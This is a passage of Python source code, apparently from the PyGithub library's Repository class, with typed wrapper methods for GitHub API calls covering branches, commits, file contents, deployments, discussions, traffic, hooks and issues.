"BLANK", NotSet, ], squash_merge_commit_message assert merge_commit_title in ["PR_TITLE", "MERGE_MESSAGE", NotSet], merge_commit_title assert merge_commit_message in ["PR_TITLE", "PR_BODY", "BLANK", NotSet], merge_commit_message assert is_optional(archived, bool), archived assert is_optional(allow_forking, bool), allow_forking assert is_optional(web_commit_signoff_required, bool), web_commit_signoff_required post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "description": description, "homepage": homepage, "private": private, "visibility": visibility, "has_issues": has_issues, "has_projects": has_projects, "has_wiki": has_wiki, "has_discussions": has_discussions, "is_template": is_template, "default_branch": default_branch, "allow_squash_merge": allow_squash_merge, "allow_merge_commit": allow_merge_commit, "allow_rebase_merge": allow_rebase_merge, "allow_auto_merge": allow_auto_merge, "delete_branch_on_merge": delete_branch_on_merge, "allow_update_branch": allow_update_branch, "use_squash_pr_title_as_default": use_squash_pr_title_as_default, "squash_merge_commit_title": squash_merge_commit_title, "squash_merge_commit_message": squash_merge_commit_message, "merge_commit_title": merge_commit_title, "merge_commit_message": merge_commit_message, "archived": archived, "allow_forking": allow_forking, "web_commit_signoff_required": web_commit_signoff_required, } ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_archive_link(self, archive_format: str, ref: Opt[str] = NotSet) -> str: """ :calls: `GET /repos/{owner}/{repo}/{archive_format}/{ref} `_ :param archive_format: string :param ref: string :rtype: string """ assert isinstance(archive_format, str), archive_format archive_format = urllib.parse.quote(archive_format) assert is_optional(ref, str), ref url = f"{self.url}/{archive_format}" if is_defined(ref): ref = urllib.parse.quote(ref) url += f"/{ref}" headers, data = self._requester.requestJsonAndCheck("GET", url) return headers["location"] def get_assignees(self) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/assignees `_ :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ return PaginatedList(github.NamedUser.NamedUser, self._requester, f"{self.url}/assignees", None) def get_branch(self, branch: str) -> Branch: """ :calls: `GET /repos/{owner}/{repo}/branches/{branch} `_ :param branch: string :rtype: :class:`github.Branch.Branch` """ assert isinstance(branch, str), branch branch = urllib.parse.quote(branch) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/branches/{branch}") return github.Branch.Branch(self._requester, headers, data) def rename_branch(self, branch: str | Branch, new_name: str) -> bool: """ :calls: `POST /repos/{owner}/{repo}/branches/{branch}/rename `_ :param branch: :class:`github.Branch.Branch` or string :param new_name: string :rtype: bool NOTE: This method does not return the branch since it may take some time to fully complete server-side. """ is_branch = isinstance(branch, github.Branch.Branch) assert isinstance(new_name, str), new_name if is_branch: branch = branch.name # type: ignore else: assert isinstance(branch, str), branch branch = urllib.parse.quote(branch) parameters = {"new_name": new_name} status, _, _ = self._requester.requestJson("POST", f"{self.url}/branches/{branch}/rename", input=parameters) return status == 201 def get_branches(self) -> PaginatedList[Branch]: """ :calls: `GET /repos/{owner}/{repo}/branches `_ :rtype: :class:`PaginatedList` of :class:`github.Branch.Branch` """ return PaginatedList(github.Branch.Branch, self._requester, f"{self.url}/branches", None) def get_collaborators( self, affiliation: Opt[str] = NotSet, permission: Opt[str] = NotSet ) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/collaborators `_ :param affiliation: string :param permission: string :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ url_parameters = dict() allowed_affiliations = ["outside", "direct", "all"] allowed_permissions = ["pull", "triage", "push", "maintain", "admin"] if is_defined(affiliation): assert isinstance(affiliation, str), affiliation assert affiliation in allowed_affiliations, f"Affiliation can be one of {', '.join(allowed_affiliations)}" url_parameters["affiliation"] = affiliation if is_defined(permission): assert isinstance(permission, str), permission assert permission in allowed_permissions, f"permission can be one of {', '.join(allowed_permissions)}" url_parameters["permission"] = permission return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/collaborators", url_parameters, ) def get_comment(self, id: int) -> CommitComment: """ :calls: `GET /repos/{owner}/{repo}/comments/{id} `_ :param id: integer :rtype: :class:`github.CommitComment.CommitComment` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/comments/{id}") return github.CommitComment.CommitComment(self._requester, headers, data, completed=True) def get_comments(self) -> PaginatedList[CommitComment]: """ :calls: `GET /repos/{owner}/{repo}/comments `_ :rtype: :class:`PaginatedList` of :class:`github.CommitComment.CommitComment` """ return PaginatedList( github.CommitComment.CommitComment, self._requester, f"{self.url}/comments", None, ) def get_commit(self, sha: str) -> Commit: """ :calls: `GET /repos/{owner}/{repo}/commits/{sha} `_ :param sha: string :rtype: :class:`github.Commit.Commit` """ assert isinstance(sha, str), sha sha = urllib.parse.quote(sha) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/commits/{sha}") return github.Commit.Commit(self._requester, headers, data, completed=True) def get_commits( self, sha: Opt[str] = NotSet, path: Opt[str] = NotSet, since: Opt[datetime] = NotSet, until: Opt[datetime] = NotSet, author: Opt[AuthenticatedUser | NamedUser | str] = NotSet, ) -> PaginatedList[Commit]: """ :calls: `GET /repos/{owner}/{repo}/commits `_ :param sha: string :param path: string :param since: datetime :param until: datetime :param author: string or :class:`github.NamedUser.NamedUser` or :class:`github.AuthenticatedUser.AuthenticatedUser` :rtype: :class:`PaginatedList` of :class:`github.Commit.Commit` """ assert is_optional(sha, str), sha assert is_optional(path, str), path assert is_optional(since, datetime), since assert is_optional(until, datetime), until assert is_optional( author, (str, github.NamedUser.NamedUser, github.AuthenticatedUser.AuthenticatedUser), ), author url_parameters: dict[str, Any] = {} if is_defined(sha): url_parameters["sha"] = sha if is_defined(path): url_parameters["path"] = path if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(until): url_parameters["until"] = until.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(author): if isinstance( author, (github.NamedUser.NamedUser, github.AuthenticatedUser.AuthenticatedUser), ): url_parameters["author"] = author.login else: url_parameters["author"] = author return PaginatedList(github.Commit.Commit, self._requester, f"{self.url}/commits", url_parameters) def get_contents(self, path: str, ref: Opt[str] = NotSet) -> list[ContentFile] | ContentFile: """ :calls: `GET /repos/{owner}/{repo}/contents/{path} `_ :param path: string :param ref: string :rtype: :class:`github.ContentFile.ContentFile` or a list of them """ assert isinstance(path, str), path assert is_optional(ref, str), ref # Path of '/' should be the empty string. if path == "/": path = "" url_parameters = dict() if is_defined(ref): url_parameters["ref"] = ref headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/contents/{urllib.parse.quote(path)}", parameters=url_parameters, follow_302_redirect=True, ) if isinstance(data, list): return [ # Lazy completion only makes sense for files. See discussion # here: https://github.com/jacquev6/PyGithub/issues/140#issuecomment-13481130 github.ContentFile.ContentFile(self._requester, headers, item, completed=(item["type"] != "file")) for item in data ] return github.ContentFile.ContentFile(self._requester, headers, data, completed=True) def get_deployments( self, sha: Opt[str] = NotSet, ref: Opt[str] = NotSet, task: Opt[str] = NotSet, environment: Opt[str] = NotSet, ) -> PaginatedList[Deployment]: """ :calls: `GET /repos/{owner}/{repo}/deployments `_ :param: sha: string :param: ref: string :param: task: string :param: environment: string :rtype: :class:`PaginatedList` of :class:`github.Deployment.Deployment` """ assert is_optional(sha, str), sha assert is_optional(ref, str), ref assert is_optional(task, str), task assert is_optional(environment, str), environment parameters = {} if is_defined(sha): parameters["sha"] = sha if is_defined(ref): parameters["ref"] = ref if is_defined(task): parameters["task"] = task if is_defined(environment): parameters["environment"] = environment return PaginatedList( github.Deployment.Deployment, self._requester, f"{self.url}/deployments", parameters, headers={"Accept": Consts.deploymentEnhancementsPreview}, ) def get_deployment(self, id_: int) -> Deployment: """ :calls: `GET /repos/{owner}/{repo}/deployments/{deployment_id} `_ :param: id_: int :rtype: :class:`github.Deployment.Deployment` """ assert isinstance(id_, int), id_ headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/deployments/{id_}", headers={"Accept": Consts.deploymentEnhancementsPreview}, ) return github.Deployment.Deployment(self._requester, headers, data, completed=True) def create_deployment( self, ref: str, task: Opt[str] = NotSet, auto_merge: Opt[bool] = NotSet, required_contexts: Opt[list[str]] = NotSet, payload: Opt[dict[str, Any]] = NotSet, environment: Opt[str] = NotSet, description: Opt[str] = NotSet, transient_environment: Opt[bool] = NotSet, production_environment: Opt[bool] = NotSet, ) -> Deployment: """ :calls: `POST /repos/{owner}/{repo}/deployments `_ :param: ref: string :param: task: string :param: auto_merge: bool :param: required_contexts: list of status contexts :param: payload: dict :param: environment: string :param: description: string :param: transient_environment: bool :param: production_environment: bool :rtype: :class:`github.Deployment.Deployment` """ assert isinstance(ref, str), ref assert is_optional(task, str), task assert is_optional(auto_merge, bool), auto_merge assert is_optional(required_contexts, list), required_contexts # need to do better checking here assert is_optional(payload, dict), payload assert is_optional(environment, str), environment assert is_optional(description, str), description assert is_optional(transient_environment, bool), transient_environment assert is_optional(production_environment, bool), production_environment post_parameters: dict[str, Any] = {"ref": ref} if is_defined(task): post_parameters["task"] = task if is_defined(auto_merge): post_parameters["auto_merge"] = auto_merge if is_defined(required_contexts): post_parameters["required_contexts"] = required_contexts if is_defined(payload): post_parameters["payload"] = payload if is_defined(environment): post_parameters["environment"] = environment if is_defined(description): post_parameters["description"] = description if is_defined(transient_environment): post_parameters["transient_environment"] = transient_environment if is_defined(production_environment): post_parameters["production_environment"] = production_environment headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/deployments", input=post_parameters, headers={"Accept": Consts.deploymentEnhancementsPreview}, ) return github.Deployment.Deployment(self._requester, headers, data, completed=True) def get_discussion( self, number: int, discussion_graphql_schema: str, ) -> RepositoryDiscussion: assert isinstance(number, int), number if not discussion_graphql_schema.startswith("\n"): discussion_graphql_schema = f" {discussion_graphql_schema} " query = ( """ query Q($repo: String!, $owner: String!, $number: Int!) { repository(name: $repo, owner: $owner) { discussion(number: $number) {""" + discussion_graphql_schema + """} } } """ ) variables = { "repo": self.name, "owner": self.owner.login, "number": number, } return self._requester.graphql_query_class( query, variables, ["repository", "discussion"], github.RepositoryDiscussion.RepositoryDiscussion ) def get_discussions( self, discussion_graphql_schema: str, *, answered: bool | None = None, category_id: str | None = None, states: list[str] | None = None, ) -> PaginatedList[RepositoryDiscussion]: if not discussion_graphql_schema.startswith("\n"): discussion_graphql_schema = f" {discussion_graphql_schema} " query = ( """ query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) { repository(name: $repo, owner: $owner) { discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) { totalCount pageInfo { startCursor endCursor hasNextPage hasPreviousPage } nodes {""" + discussion_graphql_schema + """} } } } """ ) variables = { "repo": self.name, "owner": self.owner.login, "answered": answered, "category_id": category_id, "states": states, } return PaginatedList( github.RepositoryDiscussion.RepositoryDiscussion, self._requester, graphql_query=query, graphql_variables=variables, list_item=["repository", "discussions"], ) def get_top_referrers(self) -> None | list[Referrer]: """ :calls: `GET /repos/{owner}/{repo}/traffic/popular/referrers `_ """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/traffic/popular/referrers") if isinstance(data, list): return [github.Referrer.Referrer(self._requester, headers, item) for item in data] def get_top_paths(self) -> None | list[Path]: """ :calls: `GET /repos/{owner}/{repo}/traffic/popular/paths `_ :rtype: :class:`list` of :class:`github.Path.Path` """ headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/traffic/popular/paths") if isinstance(data, list): return [github.Path.Path(self._requester, headers, item) for item in data] def get_views_traffic(self, per: Opt[str] = NotSet) -> View | None: """ :calls: `GET /repos/{owner}/{repo}/traffic/views `_ :param per: string, must be one of day or week, day by default :rtype: None or list of :class:`github.View.View` """ assert per in ["day", "week", NotSet], "per must be day or week, day by default" url_parameters = dict() if is_defined(per): url_parameters["per"] = per headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/traffic/views", parameters=url_parameters ) return github.View.View(self._requester, headers, data) def get_clones_traffic(self, per: Opt[str] = NotSet) -> Clones | None: """ :calls: `GET /repos/{owner}/{repo}/traffic/clones `_ :param per: string, must be one of day or week, day by default :rtype: None or list of :class:`github.Clones.Clones` """ assert per in ["day", "week", NotSet], "per must be day or week, day by default" url_parameters: dict[str, Any] = NotSet.remove_unset_items({"per": per}) headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/traffic/clones", parameters=url_parameters ) return github.Clones.Clones(self._requester, headers, data) def get_projects(self, state: Opt[str] = NotSet) -> PaginatedList[Project]: """ :calls: `GET /repos/{owner}/{repo}/projects `_ :rtype: :class:`PaginatedList` of :class:`github.Project.Project` :param state: string """ url_parameters = dict() if is_defined(state): url_parameters["state"] = state return PaginatedList( github.Project.Project, self._requester, f"{self.url}/projects", url_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) def get_autolinks(self) -> PaginatedList[Autolink]: """ :calls: `GET /repos/{owner}/{repo}/autolinks `_ :rtype: :class:`PaginatedList` of :class:`github.Autolink.Autolink` """ return PaginatedList(github.Autolink.Autolink, self._requester, f"{self.url}/autolinks", None) def create_file( self, path: str, message: str, content: str | bytes, branch: Opt[str] = NotSet, committer: Opt[InputGitAuthor] = NotSet, author: Opt[InputGitAuthor] = NotSet, ) -> dict[str, ContentFile | Commit]: """ Create a file in this repository. :calls: `PUT /repos/{owner}/{repo}/contents/{path} `_ :param path: string, (required), path of the file in the repository :param message: string, (required), commit message :param content: string, (required), the actual data in the file :param branch: string, (optional), branch to create the commit on. Defaults to the default branch of the repository :param committer: InputGitAuthor, (optional), if no information is given the authenticated user's information will be used. You must specify both a name and email. :param author: InputGitAuthor, (optional), if omitted this will be filled in with committer information. If passed, you must specify both a name and email. :rtype: { 'content': :class:`ContentFile `:, 'commit': :class:`Commit `} """ assert isinstance(path, str) assert isinstance(message, str) assert isinstance(content, (str, bytes)) assert is_optional(branch, str) assert is_optional(author, github.InputGitAuthor) assert is_optional(committer, github.InputGitAuthor) if not isinstance(content, bytes): content = content.encode("utf-8") content = b64encode(content).decode("utf-8") put_parameters: dict[str, Any] = {"message": message, "content": content} if is_defined(branch): put_parameters["branch"] = branch if is_defined(author): put_parameters["author"] = author._identity if is_defined(committer): put_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/contents/{urllib.parse.quote(path)}", input=put_parameters, ) return { "content": github.ContentFile.ContentFile(self._requester, headers, data["content"], completed=False), "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), } def get_repository_advisories( self, ) -> PaginatedList[github.RepositoryAdvisory.RepositoryAdvisory]: """ :calls: `GET /repos/{owner}/{repo}/security-advisories `_ :rtype: :class:`PaginatedList` of :class:`github.RepositoryAdvisory.RepositoryAdvisory` """ return PaginatedList( github.RepositoryAdvisory.RepositoryAdvisory, self._requester, f"{self.url}/security-advisories", None, ) def get_repository_advisory(self, ghsa: str) -> github.RepositoryAdvisory.RepositoryAdvisory: """ :calls: `GET /repos/{owner}/{repo}/security-advisories/{ghsa} `_ :param ghsa: string :rtype: :class:`github.RepositoryAdvisory.RepositoryAdvisory` """ assert isinstance(ghsa, str), ghsa ghsa = urllib.parse.quote(ghsa) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/security-advisories/{ghsa}") return github.RepositoryAdvisory.RepositoryAdvisory(self._requester, headers, data) def update_file( self, path: str, message: str, content: bytes | str, sha: str, branch: Opt[str] = NotSet, committer: Opt[InputGitAuthor] = NotSet, author: Opt[InputGitAuthor] = NotSet, ) -> dict[str, ContentFile | Commit]: """ This method updates a file in a repository. :calls: `PUT /repos/{owner}/{repo}/contents/{path} `_ :param path: string, Required. The content path. :param message: string, Required. The commit message. :param content: string, Required. The updated file content, either base64 encoded, or ready to be encoded. :param sha: string, Required. The blob SHA of the file being replaced. :param branch: string. The branch name. Default: the repository’s default branch (usually master) :param committer: InputGitAuthor, (optional), if no information is given the authenticated user's information will be used. You must specify both a name and email. :param author: InputGitAuthor, (optional), if omitted this will be filled in with committer information. If passed, you must specify both a name and email. :rtype: { 'content': :class:`ContentFile `:, 'commit': :class:`Commit `} """ assert isinstance(path, str) assert isinstance(message, str) assert isinstance(content, (str, bytes)) assert isinstance(sha, str) assert is_optional(branch, str) assert is_optional(author, github.InputGitAuthor) assert is_optional(committer, github.InputGitAuthor) if not isinstance(content, bytes): content = content.encode("utf-8") content = b64encode(content).decode("utf-8") put_parameters: dict[str, Any] = {"message": message, "content": content, "sha": sha} if is_defined(branch): put_parameters["branch"] = branch if is_defined(author): put_parameters["author"] = author._identity if is_defined(committer): put_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/contents/{urllib.parse.quote(path)}", input=put_parameters, ) return { "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), "content": github.ContentFile.ContentFile(self._requester, headers, data["content"], completed=False), } def delete_file( self, path: str, message: str, sha: str, branch: Opt[str] = NotSet, committer: Opt[InputGitAuthor] = NotSet, author: Opt[InputGitAuthor] = NotSet, ) -> dict[str, Commit | _NotSetType]: """ This method deletes a file in a repository. :calls: `DELETE /repos/{owner}/{repo}/contents/{path} `_ :param path: string, Required. The content path. :param message: string, Required. The commit message. :param sha: string, Required. The blob SHA of the file being replaced. :param branch: string. The branch name. Default: the repository’s default branch (usually master) :param committer: InputGitAuthor, (optional), if no information is given the authenticated user's information will be used. You must specify both a name and email. :param author: InputGitAuthor, (optional), if omitted this will be filled in with committer information. If passed, you must specify both a name and email. :rtype: { 'content': :class:`null `:, 'commit': :class:`Commit `} """ assert isinstance(path, str), "path must be str/unicode object" assert isinstance(message, str), "message must be str/unicode object" assert isinstance(sha, str), "sha must be a str/unicode object" assert is_optional(branch, str), "branch must be a str/unicode object" assert is_optional(author, github.InputGitAuthor), "author must be a github.InputGitAuthor object" assert is_optional(committer, github.InputGitAuthor), "committer must be a github.InputGitAuthor object" url_parameters: dict[str, Any] = {"message": message, "sha": sha} if is_defined(branch): url_parameters["branch"] = branch if is_defined(author): url_parameters["author"] = author._identity if is_defined(committer): url_parameters["committer"] = committer._identity headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/contents/{urllib.parse.quote(path)}", input=url_parameters, ) return { "commit": github.Commit.Commit(self._requester, headers, data["commit"], completed=True), "content": NotSet, } @deprecated( reason=""" Repository.get_dir_contents() is deprecated, use Repository.get_contents() instead. """ ) def get_dir_contents(self, path: str, ref: Opt[str] = NotSet) -> list[ContentFile]: """ :calls: `GET /repos/{owner}/{repo}/contents/{path} `_ """ return self.get_contents(path, ref=ref) # type: ignore def get_contributors(self, anon: Opt[str] = NotSet) -> PaginatedList[NamedUser]: """ :calls: `GET /repos/{owner}/{repo}/contributors `_ :param anon: string :rtype: :class:`PaginatedList` of :class:`github.NamedUser.NamedUser` """ url_parameters = dict() if is_defined(anon): url_parameters["anon"] = anon return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/contributors", url_parameters, ) def get_download(self, id: int) -> Download: """ :calls: `GET /repos/{owner}/{repo}/downloads/{id} `_ :param id: integer :rtype: :class:`github.Download.Download` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/downloads/{id}") return github.Download.Download(self._requester, headers, data, completed=True) def get_downloads(self) -> PaginatedList[Download]: """ :calls: `GET /repos/{owner}/{repo}/downloads `_ :rtype: :class:`PaginatedList` of :class:`github.Download.Download` """ return PaginatedList(github.Download.Download, self._requester, f"{self.url}/downloads", None) def get_events(self) -> PaginatedList[Event]: """ :calls: `GET /repos/{owner}/{repo}/events `_ :rtype: :class:`PaginatedList` of :class:`github.Event.Event` """ return PaginatedList(github.Event.Event, self._requester, f"{self.url}/events", None) def get_forks(self) -> PaginatedList[Repository]: """ :calls: `GET /repos/{owner}/{repo}/forks `_ :rtype: :class:`PaginatedList` of :class:`github.Repository.Repository` """ return PaginatedList(Repository, self._requester, f"{self.url}/forks", None) def create_fork( self, organization: Organization | Opt[str] = NotSet, name: Opt[str] = NotSet, default_branch_only: Opt[bool] = NotSet, ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ :param organization: :class:`github.Organization.Organization` or string :param name: string :param default_branch_only: bool :rtype: :class:`github.Repository.Repository` """ post_parameters: dict[str, Any] = {} if isinstance(organization, github.Organization.Organization): post_parameters["organization"] = organization.login elif isinstance(organization, str): post_parameters["organization"] = organization else: assert is_undefined(organization), organization assert is_optional(name, str), name assert is_optional(default_branch_only, bool), default_branch_only if is_defined(name): post_parameters["name"] = name if is_defined(default_branch_only): post_parameters["default_branch_only"] = default_branch_only headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/forks", input=post_parameters, ) return Repository(self._requester, headers, data, completed=True) def get_git_blob(self, sha: str) -> GitBlob: """ :calls: `GET /repos/{owner}/{repo}/git/blobs/{sha} `_ :param sha: string :rtype: :class:`github.GitBlob.GitBlob` """ assert isinstance(sha, str), sha sha = urllib.parse.quote(sha) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/blobs/{sha}") return github.GitBlob.GitBlob(self._requester, headers, data, completed=True) def get_git_commit(self, sha: str) -> GitCommit: """ :calls: `GET /repos/{owner}/{repo}/git/commits/{sha} `_ :param sha: string :rtype: :class:`github.GitCommit.GitCommit` """ assert isinstance(sha, str), sha sha = urllib.parse.quote(sha) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/commits/{sha}") return github.GitCommit.GitCommit(self._requester, headers, data, completed=True) def get_git_ref(self, ref: str) -> GitRef: """ :calls: `GET /repos/{owner}/{repo}/git/refs/{ref} `_ :param ref: string :rtype: :class:`github.GitRef.GitRef` """ prefix = "/git/refs/" if not self._requester.FIX_REPO_GET_GIT_REF: prefix = "/git/" assert isinstance(ref, str), ref ref = urllib.parse.quote(ref) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}{prefix}{ref}") return github.GitRef.GitRef(self._requester, headers, data, completed=True) def get_git_refs(self) -> PaginatedList[GitRef]: """ :calls: `GET /repos/{owner}/{repo}/git/refs `_ :rtype: :class:`PaginatedList` of :class:`github.GitRef.GitRef` """ return PaginatedList(github.GitRef.GitRef, self._requester, f"{self.url}/git/refs", None) def get_git_matching_refs(self, ref: str) -> PaginatedList[GitRef]: """ :calls: `GET /repos/{owner}/{repo}/git/matching-refs/{ref} `_ :rtype: :class:`PaginatedList` of :class:`github.GitRef.GitRef` """ assert isinstance(ref, str), ref ref = urllib.parse.quote(ref) return PaginatedList( github.GitRef.GitRef, self._requester, f"{self.url}/git/matching-refs/{ref}", None, ) def get_git_tag(self, sha: str) -> GitTag: """ :calls: `GET /repos/{owner}/{repo}/git/tags/{sha} `_ :param sha: string :rtype: :class:`github.GitTag.GitTag` """ assert isinstance(sha, str), sha sha = urllib.parse.quote(sha) headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/git/tags/{sha}") return github.GitTag.GitTag(self._requester, headers, data, completed=True) def get_git_tree(self, sha: str, recursive: Opt[bool] = NotSet) -> GitTree: """ :calls: `GET /repos/{owner}/{repo}/git/trees/{sha} `_ :param sha: string :param recursive: bool :rtype: :class:`github.GitTree.GitTree` """ assert isinstance(sha, str), sha assert is_optional(recursive, bool), recursive sha = urllib.parse.quote(sha) url_parameters = dict() if is_defined(recursive) and recursive: # GitHub API requires the recursive parameter be set to 1. url_parameters["recursive"] = 1 headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/git/trees/{sha}", parameters=url_parameters ) return github.GitTree.GitTree(self._requester, headers, data, completed=True) def get_hook(self, id: int) -> Hook: """ :calls: `GET /repos/{owner}/{repo}/hooks/{id} `_ :param id: integer :rtype: :class:`github.Hook.Hook` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/hooks/{id}") return github.Hook.Hook(self._requester, headers, data, completed=True) def get_hooks(self) -> PaginatedList[Hook]: """ :calls: `GET /repos/{owner}/{repo}/hooks `_ :rtype: :class:`PaginatedList` of :class:`github.Hook.Hook` """ return PaginatedList(github.Hook.Hook, self._requester, f"{self.url}/hooks", None) def get_hook_delivery(self, hook_id: int, delivery_id: int) -> github.HookDelivery.HookDelivery: """ :calls: `GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries/{delivery_id} `_ :param hook_id: integer :param delivery_id: integer :rtype: :class:`github.HookDelivery.HookDelivery` """ assert isinstance(hook_id, int), hook_id assert isinstance(delivery_id, int), delivery_id headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/hooks/{hook_id}/deliveries/{delivery_id}" ) return github.HookDelivery.HookDelivery(self._requester, headers, data) def get_hook_deliveries(self, hook_id: int) -> PaginatedList[github.HookDelivery.HookDeliverySummary]: """ :calls: `GET /repos/{owner}/{repo}/hooks/{hook_id}/deliveries `_ :param hook_id: integer :rtype: :class:`PaginatedList` of :class:`github.HookDelivery.HookDeliverySummary` """ assert isinstance(hook_id, int), hook_id return PaginatedList( github.HookDelivery.HookDeliverySummary, self._requester, f"{self.url}/hooks/{hook_id}/deliveries", None, ) def get_issue(self, number: int) -> Issue: """ :calls: `GET /repos/{owner}/{repo}/issues/{number} `_ :param number: integer :rtype: :class:`github.Issue.Issue` """ assert isinstance(number, int), number headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/issues/{number}") return github.Issue.Issue(self._requester, headers, data, completed=True) def get_issues( self, milestone: Milestone | Opt[str] = NotSet, state: Opt[str] = NotSet, assignee: NamedUser | Opt[str] = NotSet, mentioned: Opt[NamedUser] = NotSet, labels: Opt[list[str] | list[Label]] = NotSet, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, creator: Opt[NamedUser] = NotSet, ) -> PaginatedList[Issue]: """ :calls: `GET /repos/{owner}/{repo}/issues `_ :param milestone: :class:`github.Milestone.Milestone` or "none" or "*" :param state: string. `open`, `closed`, or `all`. If this is not set the GitHub API default behavior will be used. At the moment this is to return only open issues. This might change anytime on GitHub API side and it could be clever to explicitly specify the state value. :param assignee: string or :class:`github.NamedUser.NamedUser` or "none" or "*" :param mentioned: :class:`github.NamedUser.NamedUser` :param labels: list of string or :class:`github.Label.Label` :param sort: string :param direction: string :param since: datetime :param creator: string or :class:`github.NamedUser.NamedUser` :rtype: :class:`PaginatedList` of :class:`github.Issue.Issue` """ assert milestone in ["*", "none", NotSet] or isinstance(milestone, github.Milestone.Milestone), milestone assert is_optional(state, str), state assert is_optional(assignee, (str, github.NamedUser.NamedUser)), assignee assert is_optional(mentioned, github.NamedUser.NamedUser), mentioned assert is_optional_list(labels, (github.Label.Label, str)), labels assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since assert is_optional(creator, (str, github.NamedUser.NamedUser)), creator url_parameters: dict[str, Any] = {} if is_defined(milestone): if isinstance(milestone, github.Milestone.Milestone): url_parameters["milestone"] = milestone._identity else: url_parameters["milestone"] = milestone if is_defined(state): url_parameters["state"] = state if is_defined(assignee): if isinstance(assignee, github.NamedUser.NamedUser): url_parameters["assignee"] = assignee._identity else: url_parameters["assignee"] = assignee if is_defined(mentioned): url_parameters["mentioned"] = mentioned._identity if is_defined(labels): url_parameters["labels"] = ",".join( [label.name if isinstance(label, github.Label.Label) else label for label in labels] # type: ignore ) if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") if is_defined(creator): if isinstance(creator, str): url_parameters["creator"] = creator else: url_parameters["creator"] = creator._identity return PaginatedList(github.Issue.Issue, self._requester, f"{self.url}/issues", url_parameters) def get_issues_comments( self, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/comments `_ :param sort: string :param direction: string :param since: datetime :rtype: :class:`PaginatedList` of :class:`github.IssueComment.IssueComment` """ assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters = dict() if is_defined(sort): url_parameters["sort"] = sort if is_defined(direction): url_parameters["direction"] = direction if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.url}/issues/comments", url_parameters, ) def get_issues_event(self, id: int) -> IssueEvent: """ :calls: `GET /repos/{owner}/{repo}/issues/events/{id} `_ :param id: integer :rtype: :class:`github.IssueEvent.IssueEvent` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/issues/events/{id}", headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) return github.IssueEvent.IssueEvent(self._requester, headers, data, completed=True) def get_issues_events(self) -> PaginatedList[IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/events `_ :rtype: :class:`PaginatedList` of :class:`github.IssueEvent.IssueEvent` """ return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.url}/issues/events", None, headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) def get_key(self, id: int) -> RepositoryKey: """ :calls: `GET /repos/{owner}/{repo}/keys/{id} `_ :param id: integer :rtype: :class:`github.RepositoryKey.RepositoryKey` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/keys/{id}") return github.RepositoryKey.RepositoryKey(self._requester, headers, data, completed=True) def get_keys(self) -> PaginatedList[RepositoryKey]: """ :calls: `GET /repos/{owner}/{repo}/keys `_ :rtype: :class:`PaginatedList` of :class:`github.RepositoryKey.RepositoryKey` """ return PaginatedList( 